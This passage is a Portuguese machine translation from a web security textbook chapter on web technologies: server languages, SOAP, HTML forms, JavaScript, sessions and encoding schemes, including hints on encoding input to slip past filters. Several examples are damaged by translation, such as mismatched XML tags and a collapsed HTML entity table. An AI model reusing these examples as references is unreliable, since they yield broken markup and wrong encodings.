PHP

A linguagem PHP surgiu de um projeto de hobby (o acrônimo originalmente significava "personal home page"). Desde então, ela evoluiu de forma quase irreconhecível para uma estrutura altamente avançada e rica para o desenvolvimento de aplicativos da Web. Ela é frequentemente usada em conjunto com outras tecnologias gratuitas no que é conhecido como pilha LAMP (composta por Linux como sistema operacional, Apache como servidor da Web, MySQL como servidor de banco de dados e PHP como linguagem de programação para o aplicativo da Web).

Diversos aplicativos e componentes de código aberto foram desenvolvidos com PHP. Muitos deles oferecem soluções prontas para funções comuns de aplicativos, que são frequentemente incorporadas a aplicativos personalizados mais amplos:

- **Quadros de avisos** - PHPBB, PHP-Nuke
- **Front-ends administrativos** - PHPMyAdmin

- **Correio eletrônico** - SquirrelMail, IlohaMail
- **Galerias de fotos** - Galeria
- **Carrinhos de compras** - osCommerce, ECW-Shop
- **Wikis** - MediaWiki, WakkaWikki

Como o PHP é gratuito e fácil de usar, ele costuma ser a linguagem escolhida por muitos iniciantes que estão escrevendo aplicativos da Web. Além disso, o design e a configuração padrão da estrutura do PHP têm facilitado aos programadores a introdução involuntária de bugs de segurança em seus códigos. Esses fatores fizeram com que os aplicativos escritos em PHP sofressem de um número desproporcional de vulnerabilidades de segurança. Além disso, existiam vários defeitos na própria plataforma PHP que, muitas vezes, podiam ser explorados por aplicativos executados nela. Consulte o Capítulo 19 para obter detalhes sobre defeitos comuns que surgem em aplicativos PHP.

Ruby on Rails

O Rails 1.0 foi lançado em 2005, com forte ênfase na arquitetura Model-View-Controller. Um dos principais pontos fortes do Rails é a velocidade vertiginosa com que podem ser criados aplicativos totalmente orientados por dados. Se um desenvolvedor seguir o estilo de codificação e as convenções de nomenclatura do Rails, ele poderá gerar automaticamente um modelo para o conteúdo do banco de dados, ações do controlador para modificá-lo e exibições padrão para o usuário do aplicativo. Como acontece com qualquer nova tecnologia altamente funcional, várias vulnerabilidades foram encontradas no Ruby on Rails, incluindo a capacidade de contornar um "modo de segurança", análogo ao encontrado no PHP.

Mais detalhes sobre as vulnerabilidades recentes podem ser encontrados aqui:

```
www.ruby-lang.org/en/security/
```

SQL

A Structured Query Language (SQL) é usada para acessar dados em bancos de dados relacionais, como Oracle, MS-SQL Server e MySQL. A grande maioria dos aplicativos da Web atuais emprega bancos de dados baseados em SQL como seu armazenamento de dados de back-end, e quase todas as funções do aplicativo envolvem interação com esses armazenamentos de dados de alguma forma. Os bancos de dados relacionais armazenam dados em tabelas, cada uma contendo um número de linhas e colunas. Cada coluna representa um campo de dados, como "nome" ou "endereço de e-mail", e cada linha representa um item com valores atribuídos a algum ou todos esses campos.

O SQL usa consultas para executar tarefas comuns, como ler, adicionar, atualizar e excluir dados. Por exemplo, para recuperar o endereço de e-mail de um usuário com um nome especificado, um aplicativo pode executar a seguinte consulta:

```
select email from users where name = 'daf'
```

Para implementar a funcionalidade de que precisam, os aplicativos da Web podem incorporar a entrada fornecida pelo usuário em consultas SQL que são executadas pelo banco de dados de back-end. Se esse processo não for realizado com segurança, os invasores poderão enviar entradas mal-intencionadas para interferir no banco de dados e, possivelmente, ler e gravar dados confidenciais. Esses ataques são descritos no Capítulo 9, juntamente com explicações detalhadas sobre a linguagem SQL e como ela pode ser usada.

XML

Extensible Markup Language (XML) é uma especificação para codificar dados em um formato legível por máquina. Como qualquer linguagem de marcação, o formato XML separa um documento em conteúdo (que são dados) e marcação (que anota os dados).

A marcação é representada principalmente por meio de tags, que podem ser tags de início, tags de fim ou tags de elemento vazio:

```
<nome do usuário>
</tagname>
<tagname />
```

As tags de início e fim são emparelhadas em elementos e podem encapsular o conteúdo do documento ou elementos filhos:

```
<pet>gengibre</pet>
<pets><dog>spot</dog><cat>paws</cat></pets>
```

As tags podem incluir atributos, que são pares de nome/valor:

```
<data version="2.1"><pets>...</pets></data>
```

O XML é extensível, pois permite nomes arbitrários de tags e atributos. Os documentos XML geralmente incluem uma DTD (Document Type Definition, definição de tipo de documento), que define as tags e os atributos usados nos documentos e as maneiras pelas quais eles podem ser combinados.

O XML e as tecnologias derivadas dele são amplamente usados em aplicativos da Web, tanto no servidor quanto no cliente, conforme descrito nas seções posteriores deste capítulo.

Serviços da Web

Embora este livro aborde o hacking de aplicativos da Web, muitas das vulnerabilidades descritas são igualmente aplicáveis aos serviços da Web. De fato, muitos aplicativos são essencialmente um front-end de GUI para um conjunto de serviços da Web de back-end.

Os serviços da Web usam o protocolo SOAP (Simple Object Access Protocol) para trocar dados. Normalmente, o SOAP usa o protocolo HTTP para transmitir mensagens e representa os dados usando o formato XML.

Uma solicitação SOAP típica é a seguinte:

```
POST /doTransfer.asp HTTP/1.0
Host: mdsec-mgr.int.mdsec.net
Content-Type: application/soap+xml; charset=utf-8
Content-Length: 891
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2001/12/soap-envelope">
  <soap:Body>
      <pre:Add xmlns:pre=http://target/lists soap:encodingStyle=
"http://www.w3.org/2001/12/soap-encoding">
      <Conta>
        <FromAccount>18281008</FromAccount>
        <Amount>1430</Amount>
        <ClearedFunds>False</ClearedFunds>
        <ToAccount>08447656</ToAccount>
      </Account>
     </pre:Add>
   </soap:Body>
</soap:Envelope>
```

No contexto de aplicativos da Web acessados por meio de um navegador, é mais provável que você encontre SOAP sendo usado pelo aplicativo do lado do servidor para se comunicar com vários sistemas de back-end. Se os dados fornecidos pelo usuário forem incorporados diretamente às mensagens SOAP de back-end, poderão surgir vulnerabilidades semelhantes às do SQL. Esses problemas são descritos em detalhes no Capítulo 10.

Se um aplicativo da Web também expõe diretamente os serviços da Web, também vale a pena examiná-los. Mesmo que o aplicativo front-end seja simplesmente escrito sobre o serviço da Web, podem existir diferenças no tratamento de entrada e na funcionalidade exposta pelos próprios serviços. Normalmente, o servidor publica os serviços e parâmetros disponíveis usando o formato WSDL (Web Services Description Language). Ferramentas como o soapUI podem ser usadas para criar solicitações de amostra com base em um arquivo WSDL publicado para chamar o serviço da Web de autenticação, obter um token de autenticação e fazer quaisquer solicitações de serviço da Web subsequentes.

Funcionalidade do lado do cliente

Para que o aplicativo no lado do servidor receba as entradas e ações do usuário e apresente os resultados ao usuário, ele precisa fornecer uma interface de usuário no lado do cliente. Como todos os aplicativos da Web são acessados por meio de um navegador da Web, todas essas interfaces compartilham um

núcleo comum de tecnologias. No entanto, elas foram desenvolvidas de várias maneiras diferentes, e as formas como os aplicativos utilizam a tecnologia do lado do cliente continuaram a evoluir rapidamente nos últimos anos.

HTML

A principal tecnologia usada para criar interfaces da Web é a linguagem de marcação de hipertexto (HTML). Assim como o XML, o HTML é uma linguagem baseada em tags usada para descrever a estrutura dos documentos que são renderizados no navegador. Desde seu início simples, como meio de fornecer formatação básica para documentos de texto, o HTML se transformou em uma linguagem rica e poderosa que pode ser usada para criar interfaces de usuário altamente complexas e funcionais.

O XHTML é um desenvolvimento do HTML baseado em XML e que tem uma especificação mais rígida do que as versões anteriores do HTML. Parte da motivação para o XHTML foi a necessidade de avançar em direção a um padrão mais rígido de marcação HTML para evitar os vários compromissos e problemas de segurança que podem surgir quando os navegadores são obrigados a tolerar formas menos rígidas de HTML.

Mais detalhes sobre HTML e tecnologias relacionadas aparecem nas seções a seguir.

Hiperlinks

Uma grande parte da comunicação entre cliente e servidor é gerada pelo clique do usuário em hiperlinks. Nos aplicativos da Web, os hiperlinks frequentemente contêm parâmetros de solicitação predefinidos. Esses são itens de dados que o usuário nunca insere; eles são enviados porque o servidor os coloca no URL de destino do hiperlink em que o usuário clica. Por exemplo, um aplicativo da Web pode apresentar uma série de links para notícias, cada um com o seguinte formato:

```
<a href="?redir=/updates/update29.html">O que está acontecendo?</a>
```

Quando um usuário clica nesse link, o navegador faz a seguinte solicitação:

```
GET /news/8/?redir=/updates/update29.html HTTP/1.1 Host:
mdsec.net
...
```

O servidor recebe o parâmetro `redir` na string de consulta e usa seu valor para determinar qual conteúdo deve ser apresentado ao usuário.

Formulários

Embora a navegação baseada em hiperlinks seja responsável por uma grande parte das comunicações entre cliente e servidor, a maioria dos aplicativos da Web precisa de formas mais flexíveis de coletar informações e receber ações dos usuários. Os formulários HTML são a forma usual de

mecanismo para permitir que os usuários insiram dados arbitrários por meio do navegador. Um formulário típico é o seguinte:

```
<form action="/secure/login.php?app=quotations" method="post"> nome
de usuário: <input type="text" name="username"><br>
senha: <input type="password" name="password">
<input type="hidden" name="redir" value="/secure/home.php">
<input type="submit" name="submit" value="log in">
</form>
```

Quando o usuário insere valores no formulário e clica no botão Submit, o navegador faz uma solicitação como a seguinte:

```
POST /secure/login.php?app=quotations HTTP/1.1 Host:
wahh-app.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Cookie: SESS=GTnrpx2ss2tSWSnhXJGyG0LJ47MXRsjcFM6Bd

username=daf&password=foo&redir=/secure/home.php&submit=log+in
```

Nessa solicitação, vários pontos de interesse refletem como diferentes aspectos da são usados para controlar o processamento no lado do servidor:

- Como a tag de `formulário` HTML contém um atributo que especifica o método `POST`, o navegador usa esse método para enviar o formulário e coloca os dados do formulário no corpo da mensagem de solicitação.
- Além dos dois itens de dados que o usuário insere, o formulário contém um parâmetro oculto (`redir`) e um parâmetro de envio (`submit`). Ambos são enviados na solicitação e podem ser usados pelo aplicativo no lado do servidor para controlar sua lógica.
- O URL de destino para o envio do formulário contém um parâmetro predefinido (`app`), como no exemplo de hiperlink mostrado anteriormente. Esse parâmetro pode ser usado para controlar o processamento no lado do servidor.
- A solicitação contém um parâmetro de cookie (`SESS`), que foi emitido para o navegador em uma resposta anterior do servidor. Esse parâmetro pode ser usado para controlar o processamento no lado do servidor.

A solicitação anterior contém um cabeçalho que especifica que o tipo de conteúdo no corpo da mensagem é `x-www-form-urlencoded`. Isso significa que os parâmetros são representados no corpo da mensagem como pares nome/valor da mesma forma que são representados na string de consulta do URL. O outro tipo de conteúdo que você provavelmente encontrará quando os dados do formulário forem enviados é `multipart/form-data`. Um aplicativo pode solicitar que os navegadores usem a codificação de várias partes especificando isso em um atributo `enctype` na tag do formulário. Com essa forma de codificação, o cabeçalho `Content-Type` na solicitação também especifica uma cadeia de caracteres aleatória que é usada como separador para o

contidos no corpo da solicitação. Por exemplo, se o formulário especificasse a codificação de várias partes, a solicitação resultante seria semelhante à seguinte:

```
POST /secure/login.php?app=quotations HTTP/1.1
Host: wahh-app.com
Content-Type: multipart/form-data; boundary= ---------------7d71385d0a1a
Content-Length: 369
Cookie: SESS=GTnrpx2ss2tSWSnhXJGyG0LJ47MXRsjcFM6Bd

- -----------7d71385d0a1a
Content-Disposition: form-data; name="username"

daf
- -----------7d71385d0a1a
Content-Disposition: form-data; name="password"

foo
- -----------7d71385d0a1a
Content-Disposition: form-data; name="redir"

/secure/home.php
- -----------7d71385d0a1a
Content-Disposition: form-data; name="submit"

fazer login
------------7d71385d0a1a--
```

CSS

Cascading Style Sheets (CSS) é uma linguagem usada para descrever a apresentação de um documento escrito em uma linguagem de marcação. Nos aplicativos da Web, ela é usada para especificar como o conteúdo HTML deve ser renderizado na tela (e em outras mídias, como a página impressa).

Os padrões modernos da Web têm como objetivo separar, tanto quanto possível, o conteúdo de um documento de sua apresentação. Essa separação traz inúmeros benefícios, incluindo páginas HTML mais simples e menores, atualização mais fácil da formatação em um site e melhor acessibilidade.

O CSS é baseado em regras de formatação que podem ser definidas com diferentes níveis de especificidade. Quando várias regras correspondem a um elemento individual do documento, os diferentes atributos definidos nessas regras podem ser aplicados em "cascata" por meio dessas regras, de modo que a combinação apropriada de atributos de estilo seja aplicada ao elemento.

A sintaxe CSS usa seletores para definir uma classe de elementos de marcação aos quais um determinado conjunto de atributos deve ser aplicado. Por exemplo, a regra CSS a seguir define a cor de primeiro plano para cabeçalhos marcados com

Tags `<h2>`:

```
h2 { color: red; }
```

Nos primórdios da segurança de aplicativos Web, o CSS era amplamente ignorado e considerado como não tendo implicações de segurança. Atualmente, o CSS é cada vez mais relevante, tanto como fonte de vulnerabilidades de segurança por si só quanto como meio de fornecer explorações eficazes para outras categorias de vulnerabilidades (consulte os Capítulos 12 e 13 para obter mais informações).

JavaScript

Hiperlinks e formulários podem ser usados para criar uma interface de usuário avançada que pode reunir facilmente a maioria dos tipos de entrada que os aplicativos da Web exigem. No entanto, a maioria dos aplicativos emprega um modelo mais distribuído, no qual o lado do cliente é usado não apenas para enviar dados e ações do usuário, mas também para executar o processamento real dos dados. Isso é feito por dois motivos principais:

- Isso pode melhorar o desempenho do aplicativo, porque determinadas tarefas podem ser executadas inteiramente no componente do cliente, sem a necessidade de fazer uma viagem de ida e volta de solicitação e resposta ao servidor.
- Ele pode melhorar a usabilidade, pois partes da interface do usuário podem ser atualizadas dinamicamente em resposta às ações do usuário, sem a necessidade de carregar uma página HTML totalmente nova fornecida pelo servidor.

JavaScript é uma linguagem de programação relativamente simples, mas poderosa, que pode ser facilmente usada para ampliar as interfaces da Web de maneiras que não são possíveis usando apenas HTML. Ela é comumente usada para executar as seguintes tarefas:

- Validação dos dados inseridos pelo usuário antes de serem enviados ao servidor para evitar solicitações desnecessárias se os dados contiverem erros.
- Modificar dinamicamente a interface do usuário em resposta às ações do usuário, por exemplo, para implementar menus suspensos e outros controles conhecidos de interfaces que não sejam da Web.
- Consultar e atualizar o modelo de objeto de documento (DOM) no navegador para controlar o comportamento do navegador (o DOM do navegador será descrito em breve)

VBScript

O VBScript é uma alternativa ao JavaScript que é compatível apenas com o navegador Internet Explorer. Ele é modelado no Visual Basic e permite a interação com o DOM do navegador. Mas, em geral, é um pouco menos avançado e desenvolvido do que o JavaScript.

Devido à sua natureza específica de navegador, o VBScript é pouco usado nos aplicativos da Web atuais. Seu principal interesse do ponto de vista da segurança é como um meio de fornecer explorações de vulnerabilidades, como cross-site

scripting, em situações ocasionais em que uma exploração usando JavaScript não é viável (consulte o Capítulo 12).

Modelo de objeto de documento

O DOM (Document Object Model) é uma representação abstrata de um documento HTML que pode ser consultado e manipulado por meio de sua API.

O DOM permite que os scripts do lado do cliente acessem elementos HTML individuais por sua `identificação` e percorram a estrutura dos elementos de forma programática. Dados como o URL atual e os cookies também podem ser lidos e atualizados. O DOM também inclui um modelo de evento, permitindo que o código conecte eventos como envio de formulários, navegação por meio de links e pressionamento de teclas.

A manipulação do DOM do navegador é uma técnica fundamental usada em aplicativos baseados em Ajax, conforme descrito na seção a seguir.

Ajax

O Ajax é um conjunto de técnicas de programação usadas no lado do cliente para criar interfaces de usuário que visam imitar a interação suave e o comportamento dinâmico dos aplicativos de desktop tradicionais.

O nome originalmente era um acrônimo para "Asynchronous JavaScript and XML", embora na Web atual as solicitações Ajax não precisem ser assíncronas e não precisem empregar XML.

Os primeiros aplicativos da Web eram baseados em páginas completas. Cada ação do usuário, como clicar em um link ou enviar um formulário, iniciava um evento de navegação no nível da janela, fazendo com que uma nova página fosse carregada do servidor. Essa abordagem resultava em uma experiência de usuário desarticulada, com atrasos perceptíveis enquanto grandes respostas eram recebidas do servidor e a página inteira era renderizada novamente.

Com o Ajax, algumas ações do usuário são tratadas no código de script do lado do cliente e não causam uma recarga completa da página. Em vez disso, o script executa uma solicitação "em segundo plano" e normalmente recebe uma resposta muito menor que é usada para atualizar dinamicamente apenas parte da interface do usuário. Por exemplo, em um aplicativo de compras baseado em Ajax, clicar em um botão Add to Cart pode causar uma solicitação em segundo plano que atualiza o registro do lado do servidor do carrinho de compras do usuário e uma resposta leve que atualiza o número de itens do carrinho exibidos na tela do usuário. Praticamente toda a página existente permanece inalterada no navegador, proporcionando uma experiência muito mais rápida e satisfatória para o usuário.

A principal tecnologia usada no Ajax é o `XMLHttpRequest`. Após uma certa consolidação de padrões, esse é agora um objeto JavaScript nativo que os scripts do lado do cliente podem usar para fazer solicitações em "segundo plano" sem exigir um evento de navegação no nível da janela. Apesar de seu nome, o `XMLHttpRequest` permite que conteúdo arbitrário seja enviado em solicitações e recebido em respostas.

Embora muitos aplicativos Ajax usem XML para formatar dados de mensagens, um número cada vez maior optou por trocar dados usando outros métodos de representação. (Consulte a próxima seção para ver um exemplo.) Observe que, embora a maioria dos aplicativos Ajax use comunicação assíncrona, o Ajax é um método de representação de dados.

com o servidor, isso não é essencial. Em algumas situações, isso pode de fato tornar

faz mais sentido impedir a interação do usuário com o aplicativo enquanto uma determinada ação é executada. Nessas situações, o Ajax ainda é benéfico, pois proporciona uma experiência mais contínua, evitando a necessidade de recarregar uma página inteira.

Historicamente, o uso do Ajax introduziu alguns novos tipos de vulnerabilidades nos aplicativos da Web. De forma mais ampla, ele também aumenta a superfície de ataque de um aplicativo típico, introduzindo mais alvos potenciais para ataques no servidor e no cliente. As técnicas de Ajax também estão disponíveis para serem usadas pelos atacantes quando eles estiverem desenvolvendo explorações mais eficazes para outras vulnerabilidades. Consulte os Capítulos 12 e 13 para obter mais detalhes.

JSON

JavaScript Object Notation (JSON) é um formato simples de transferência de dados que pode ser usado para serializar dados arbitrários. Ele pode ser processado diretamente por intérpretes de JavaScript. É comumente empregado em aplicativos Ajax como uma alternativa ao formato XML originalmente usado para transmissão de dados. Em uma situação típica, quando um usuário executa uma ação, o JavaScript do lado do cliente usa `XMLHttpRequest` para comunicar a ação ao servidor. O servidor retorna uma resposta leve contendo dados no formato JSON. O script do lado do cliente processa esses dados e atualiza a interface do usuário de acordo.

Por exemplo, um aplicativo de webmail baseado em Ajax pode conter um recurso para mostrar os detalhes de um contato selecionado. Quando um usuário clica em um contato, o navegador usa `XMLHttpRequest` para recuperar os detalhes do contato selecionado, que são retornados usando JSON:

```
{
    "nome": "Mike Kemp",
    "id": "8041148671",
    "email": "fkwitt@layerone.com"
}
```

O script no lado do cliente usa o interpretador JavaScript para consumir a resposta JSON e atualiza a parte relevante da interface do usuário com base em seu conteúdo.

Um outro local em que você pode encontrar dados JSON nos aplicativos atuais é como um meio de encapsular dados dentro de parâmetros de solicitação convencionais. Por exemplo, quando o usuário atualiza os detalhes de um contato, as novas informações podem ser comunicadas ao servidor usando a seguinte solicitação:

```
POST /contatos HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

Contato={{"name": "Mike Kemp", "id": "8041148671", "email": "pikey@
clappymonkey.com"}
&submit=update
```

Política de mesma origem

A política de mesma origem é um mecanismo importante implementado nos navegadores, projetado para impedir que conteúdos de origens diferentes interfiram uns nos outros. Basicamente, o conteúdo recebido de um site tem permissão para ler e modificar outro conteúdo recebido do mesmo site, mas não tem permissão para acessar o conteúdo recebido de outros sites.

Se a política de mesma origem não existisse e um usuário inconsciente navegasse em um site mal-intencionado, o código de script executado nesse site poderia acessar os dados e a funcionalidade de qualquer outro site também visitado pelo usuário. Isso pode permitir que o site mal-intencionado realize transferências de fundos do banco on-line do usuário, leia seu e-mail na Web ou capture detalhes do cartão de crédito quando o usuário faz compras on-line. Por esse motivo, os navegadores implementam restrições para permitir esse tipo de interação somente com conteúdo que tenha sido recebido da mesma origem.

Na prática, a aplicação desse conceito aos detalhes de diferentes recursos e tecnologias da Web leva a várias complicações e compromissos. Aqui estão alguns dos principais recursos da política de mesma origem que você precisa conhecer:

- Uma página que reside em um domínio pode fazer com que uma solicitação arbitrária seja feita a outro domínio (por exemplo, enviando um formulário ou carregando uma imagem). Mas ela não pode processar os dados retornados dessa solicitação.
- Uma página que reside em um domínio pode carregar um script de outro domínio e executá-lo em seu próprio contexto. Isso ocorre porque se presume que os scripts contêm código, e não dados, de modo que o acesso entre domínios não deve levar à divulgação de informações confidenciais.
- Uma página que reside em um domínio não pode ler ou modificar os cookies ou outros dados DOM pertencentes a outro domínio.

Esses recursos podem levar a vários ataques entre domínios, como a indução de ações do usuário e a captura de dados. Outras complicações surgem com as tecnologias de extensão de navegador, que implementam restrições de mesma origem de diferentes maneiras. Essas questões são discutidas em detalhes no Capítulo 13.

HTML5

O HTML5 é uma atualização importante do padrão HTML. Atualmente, o HTML5 ainda está em desenvolvimento e só foi parcialmente implementado nos navegadores.

Do ponto de vista da segurança, o HTML5 é de interesse principalmente pelos seguintes motivos:

- Ele apresenta várias novas tags, atributos e APIs que podem ser aproveitados para fornecer scripts entre sites e outros ataques, conforme descrito no Capítulo 12.

- Ele modifica a tecnologia Ajax principal, `XMLHttpRequest`, para permitir a interação bidirecional entre domínios em determinadas situações. Isso pode levar a novos ataques entre domínios, conforme descrito no Capítulo 13.
- Ele introduz novos mecanismos de armazenamento de dados no lado do cliente, que podem levar a problemas de privacidade do usuário, e novas categorias de ataque, como a injeção de SQL no lado do cliente, conforme descrito no Capítulo 13.

"Web 2.0"

Essa palavra da moda virou moda nos últimos anos como um nome um tanto vago e nebuloso para uma série de tendências relacionadas a aplicativos da Web, incluindo as seguintes:

- Uso intenso do Ajax para realizar solicitações assíncronas e nos bastidores
- Aumento da integração entre domínios usando várias técnicas
- Uso de novas tecnologias no lado do cliente, incluindo XML, JSON e Flex
- Funcionalidade mais proeminente de suporte a conteúdo gerado pelo usuário, compartilhamento de informações e interação

Como acontece com todas as mudanças na tecnologia, essas tendências apresentam novas oportunidades para o surgimento de vulnerabilidades de segurança. No entanto, elas não definem um subconjunto claro de problemas de segurança de aplicativos da Web em geral. As vulnerabilidades que ocorrem nesses contextos são, em grande parte, as mesmas ou derivadas de tipos de vulnerabilidades que precederam essas tendências. Em geral, falar sobre "segurança na Web 2.0" representa um erro de categoria que não facilita o pensamento claro sobre os problemas importantes.

Tecnologias de extensão de navegador

Indo além dos recursos do JavaScript, alguns aplicativos da Web empregam tecnologias de extensão de navegador que usam código personalizado para ampliar os recursos internos do navegador de forma arbitrária. Esses componentes podem ser implantados como bytecode que é executado por um plug-in de navegador adequado ou podem envolver a instalação de executáveis nativos no próprio computador cliente. As tecnologias thick-client que você provavelmente encontrará ao atacar aplicativos da Web são

- Miniaplicativos Java
- Controles ActiveX
- Objetos flash
- Objetos do Silverlight

Essas tecnologias são descritas em detalhes no Capítulo 5.

Estado e sessões

As tecnologias descritas até agora permitem que os componentes do servidor e do cliente de um aplicativo da Web troquem e processem dados de várias maneiras. Para implementar a maioria dos tipos de funcionalidade útil, no entanto, os aplicativos precisam rastrear o estado da interação de cada usuário com o aplicativo em várias solicitações. Por exemplo, um aplicativo de compras pode permitir que os usuários naveguem em um catálogo de produtos, adicionem itens a um carrinho, visualizem e atualizem o conteúdo do carrinho, prossigam para o checkout e forneçam detalhes pessoais e de pagamento.

Para possibilitar esse tipo de funcionalidade, o aplicativo deve manter um conjunto de dados de estado gerados pelas ações do usuário em várias solicitações. Esses dados normalmente são mantidos em uma estrutura do lado do servidor chamada sessão. Quando um usuário executa uma ação, como adicionar um item ao carrinho de compras, o aplicativo do lado do servidor atualiza os detalhes relevantes na sessão do usuário. Quando o usuário visualiza posteriormente o conteúdo do carrinho, os dados da sessão são usados para retornar as informações corretas ao usuário.

Em alguns aplicativos, as informações de estado são armazenadas no componente do cliente e não no servidor. O conjunto atual de dados é passado para o cliente em cada resposta do servidor e é enviado de volta ao servidor em cada solicitação do cliente. Obviamente, como o usuário pode modificar qualquer dado transmitido pelo componente do cliente, os aplicativos precisam se proteger de invasores que possam alterar essas informações de estado na tentativa de interferir na lógica do aplicativo. A plataforma ASP.NET usa um campo de formulário oculto chamado `ViewState` para armazenar informações de estado sobre a interface da Web do usuário e, assim, reduzir a sobrecarga no servidor. Por padrão, o conteúdo do `ViewState` inclui um hash com chave para evitar adulterações.

Como o próprio protocolo HTTP não tem estado, a maioria dos aplicativos precisa de uma maneira de reidentificar usuários individuais em várias solicitações para que o conjunto correto de dados de estado seja usado para processar cada solicitação. Normalmente, isso é feito emitindo para cada usuário um token que identifica exclusivamente a sessão do usuário. Esses tokens podem ser transmitidos usando qualquer tipo de parâmetro de solicitação, mas a maioria dos aplicativos usa cookies HTTP. Vários tipos de vulnerabilidades surgem em relação ao gerenciamento de sessões, conforme descrito em detalhes no Capítulo 7.

Esquemas de codificação

Os aplicativos da Web empregam vários esquemas de codificação diferentes para seus dados. Tanto o protocolo HTTP quanto a linguagem HTML são historicamente baseados em texto, e diferentes esquemas de codificação foram criados para garantir que esses mecanismos possam lidar com segurança com caracteres incomuns e dados binários. Quando você estiver atacando um aplicativo da Web, frequentemente precisará codificar os dados usando um esquema de codificação

relevante.

para garantir que ele seja tratado da maneira que você pretende. Além disso, em muitos casos, você pode manipular os esquemas de codificação que um aplicativo usa para causar um comportamento que os projetistas não pretendiam.

Codificação de URL

Os URLs podem conter somente os caracteres imprimíveis no conjunto de caracteres US-ASCII, ou seja, aqueles cujo código ASCII está no intervalo de 0x20 a 0x7e, inclusive. Além disso, vários caracteres desse intervalo são restritos porque têm um significado especial no próprio esquema de URL ou no protocolo HTTP.

O esquema de codificação de URL é usado para codificar qualquer caractere problemático dentro do conjunto de caracteres ASCII estendido, de modo que eles possam ser transportados com segurança por HTTP. A forma codificada por URL de qualquer caractere é o prefixo `%` seguido pelo código ASCII de dois dígitos do caractere expresso em hexadecimal. Aqui estão alguns caracteres que são comumente codificados por URL:

- `%3d` - =
- `%25` - %
- `%20` - Espaço
- `%0a` - Nova linha
- `%00` - Byte nulo

Outra codificação que deve ser observada é o caractere `+`, que representa um espaço codificado por URL (além da representação `%20` de um espaço).

OBSERVAÇÃO Para fins de ataque a aplicativos da Web, você deve codificar no URL qualquer um dos seguintes caracteres ao inseri-los *como dados* em uma solicitação HTTP:

espaço % ? & = ; + #

(É claro que muitas vezes você precisará usar esses caracteres com seu significado especial ao modificar uma solicitação, por exemplo, para adicionar um parâmetro de solicitação à string de consulta. Nesse caso, eles devem ser usados em sua forma literal).

Codificação Unicode

O Unicode é um padrão de codificação de caracteres projetado para suportar todos os sistemas de escrita do mundo. Ele emprega vários esquemas de codificação, alguns dos quais podem ser usados para representar caracteres incomuns em aplicativos da Web.

A codificação Unicode de 16 bits funciona de forma semelhante à codificação de URL. Para transmissão por HTTP, a forma codificada em Unicode de 16 bits de um caractere é

o prefixo `%u` seguido pelo ponto de código Unicode do caractere expresso em hexadecimal:

- `%u2215` - ∕
- `%u00e9` - é

O UTF-8 é um padrão de codificação de comprimento variável que emprega um ou mais bytes para expressar cada caractere. Para transmissão por HTTP, a forma codificada em UTF-8 de um caractere multibyte simplesmente usa cada byte expresso em hexadecimal e precedido pelo prefixo `%`:

- `%c2%a9` - ©
- `%e2%89%a0` - ≠

Para fins de ataque a aplicativos da Web, a codificação Unicode é de interesse principalmente porque, às vezes, pode ser usada para burlar mecanismos de validação de entrada. Se um filtro de entrada bloqueia determinadas expressões mal-intencionadas, mas o componente que processa a entrada subsequentemente entende a codificação Unicode, pode ser possível contornar o filtro usando várias codificações Unicode padrão e malformadas.

Codificação HTML

A codificação HTML é usada para representar caracteres problemáticos para que possam ser incorporados com segurança em um documento HTML. Vários caracteres têm um significado especial como metacaracteres no HTML e são usados para definir a estrutura de um documento, e não seu conteúdo. Para usar esses caracteres com segurança como parte do conteúdo do documento, é necessário codificá-los em HTML.

A codificação HTML define várias entidades HTML para representar caracteres literais específicos:

- `"` - "
- `'` - '
- `&` - &
- `<` - <
- `>` - >

Além disso, qualquer caractere pode ser codificado em HTML usando seu código ASCII na forma decimal:

- `"` - "
- ' - '

ou usando seu código ASCII em formato hexadecimal (prefixado por um `x`):

- " -"
- ' -'

Quando você está atacando um aplicativo da Web, é provável que seu principal interesse na codificação de HTML seja a sondagem de vulnerabilidades de script entre sites. Se um aplicativo retornar a entrada do usuário não modificada em suas respostas, ele provavelmente estará vulnerável, ao passo que se os caracteres perigosos estiverem codificados em HTML, ele poderá estar seguro. Consulte o Capítulo 12 para obter mais detalhes sobre essas vulnerabilidades.

Codificação Base64

A codificação Base64 permite que qualquer dado binário seja representado com segurança usando apenas caracteres ASCII imprimíveis. É comumente usada para codificar anexos de e-mail para transmissão segura por SMTP. Também é usada para codificar credenciais de usuário na autenticação HTTP básica.

A codificação Base64 processa os dados de entrada em blocos de três bytes. Cada um desses blocos é dividido em quatro blocos de seis bits cada. Seis bits de dados permitem 64 permutações possíveis diferentes, de modo que cada bloco pode ser representado por um conjunto de 64 caracteres. A codificação Base64 emprega o seguinte conjunto de caracteres, que contém apenas caracteres ASCII imprimíveis:

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
```

Se o bloco final de dados de entrada resultar em menos de três blocos de dados de saída, a saída será preenchida com um ou dois caracteres =.

Por exemplo, aqui está a forma codificada em Base64 do *The Web Application Hacker's Handbook*:

```
VGhlIFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw==
```

Muitos aplicativos da Web usam a codificação Base64 para transmitir dados binários em cookies e outros parâmetros, e até mesmo para ofuscar (ou seja, ocultar) dados confidenciais para evitar modificações triviais. Você deve sempre procurar e decodificar qualquer dado Base64 que seja emitido para o cliente. As cadeias de caracteres codificadas em Base64 geralmente podem ser facilmente reconhecidas por seu conjunto de caracteres específico e pela presença de caracteres de preenchimento no final da cadeia.

Codificação hexadecimal

Muitos aplicativos usam a codificação hexadecimal direta ao transmitir dados binários, usando caracteres ASCII para representar o bloco hexadecimal. Por exemplo, a codificação hexadecimal do nome de usuário "daf" em um cookie resultaria no seguinte:

```
646166
```

Assim como no caso do Base64, os dados codificados em hexadecimal geralmente são fáceis de identificar. Você deve sempre tentar decodificar esses dados que o servidor envia ao cliente para entender sua função.

Estruturas de remoting e serialização

